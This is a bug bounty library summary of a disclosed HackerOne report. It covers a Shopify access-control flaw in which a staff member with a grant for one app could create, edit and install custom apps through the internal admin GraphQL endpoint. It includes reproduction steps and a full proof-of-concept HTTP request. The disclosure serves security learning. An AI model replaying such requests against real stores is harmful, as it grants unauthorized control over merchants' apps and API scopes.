# Collaborators and Staff members without all necessary permissions are able to create, edit and install custom apps

Staff member lacking 'Manage and install apps' permission could still create/edit/install custom apps via GraphQL API once granted access to a single app.

- Payout: $1,900
- Severity: medium
- Program: Shopify
- Found by: kun_19
- Disclosed: 2022-07-11
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1555502
- Library page: https://bugbountylibrary.com/r/h1%3A1555502
- Tags: area:web domain:web impact:integrity impact:privesc kind:bounty platform:hackerone sev:medium tech:graphql technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Shopify admin GraphQL endpoint /admin/internal/web/graphql/core (shopOwnedAppCreate and related custom app mutations)
**Root cause:** Permission check for custom app mutations was satisfied by per-app access grant rather than requiring the global 'Manage and install apps and channels' permission, so a single-app grant unlocked all custom app operations.
**Steps:**
1. As owner, enable custom app development and add staff member with 'View apps developed by staff and collaborators' + 'Develop apps' + access to only one specific app.
2. Log in as staff; confirm /admin/apps/development is inaccessible.
3. Send `POST /admin/internal/web/graphql/core?operation=CreateAppMutation&type=mutation` with `shopOwnedAppCreate` mutation and staff cookie + CSRF token.
4. Observe app created successfully despite missing 'Manage and install apps and channels'.
5. As owner, see the staff-created app at /admin/apps/development; staff can also edit scopes and install it.
**How found:** Read Shopify docs stating three permissions are required for custom app management; tested a staff user missing 'Manage and install apps and channels' (blocked), then added a single-app grant and replayed the same GraphQL mutation, which unexpectedly succeeded.
**Exploitation:** Staff member with a single-app grant uses the internal GraphQL endpoint directly to create custom apps with arbitrary Admin API scopes, edit existing apps' scopes, uninstall/reinstall apps (rotating access keys), bypassing the UI-level permission gate.
**Escalation:** Editing Admin API scopes of existing apps and reinstalling to rotate access keys raises integrity/availability impact beyond the granted single app.
**Insight:** When a platform gates a feature behind multiple permissions, test each permission subset independently via the underlying API—per-resource grants can accidentally satisfy global feature checks that the UI still enforces.

## Proof of concept (copied exactly from the original report)

**GraphQL request creating custom app as staff member**

```
POST /admin/internal/web/graphql/core?operation=CreateAppMutation&type=mutation HTTP/2
Host: <YOUR_STORE>
Cookie: <STAFF_MEMBER_COOKIE>
Content-Length: 428
Sec-Ch-Ua: "Chromium";v="93", " Not;A Brand";v="99"
X-Csrf-Token: <CSRF_TOKEN>
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/json
Accept: application/json
X-Shopify-Web-Force-Proxy: 1
Sec-Ch-Ua-Platform: "Linux"
Origin: https://19kun-19.myshopify.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{
   "operationName":"CreateAppMutation",
   "variables":{
      "input":{
         "title":"Broken Access PoC",
         "maintainerUserId":"gid://shopify/StaffMember/<STAFF_MEMBER_ID>"
      }
   },
   "query":"mutation CreateAppMutation($input: ShopOwnedAppCreateInput!) {\n  shopOwnedAppCreate(input: $input) {\n    app {\n      id\n      title\n      __typename\n    }\n    userErrors {\n      field\n      message\n      code\n      __typename\n    }\n    __typename\n  }\n}\n"
}
```

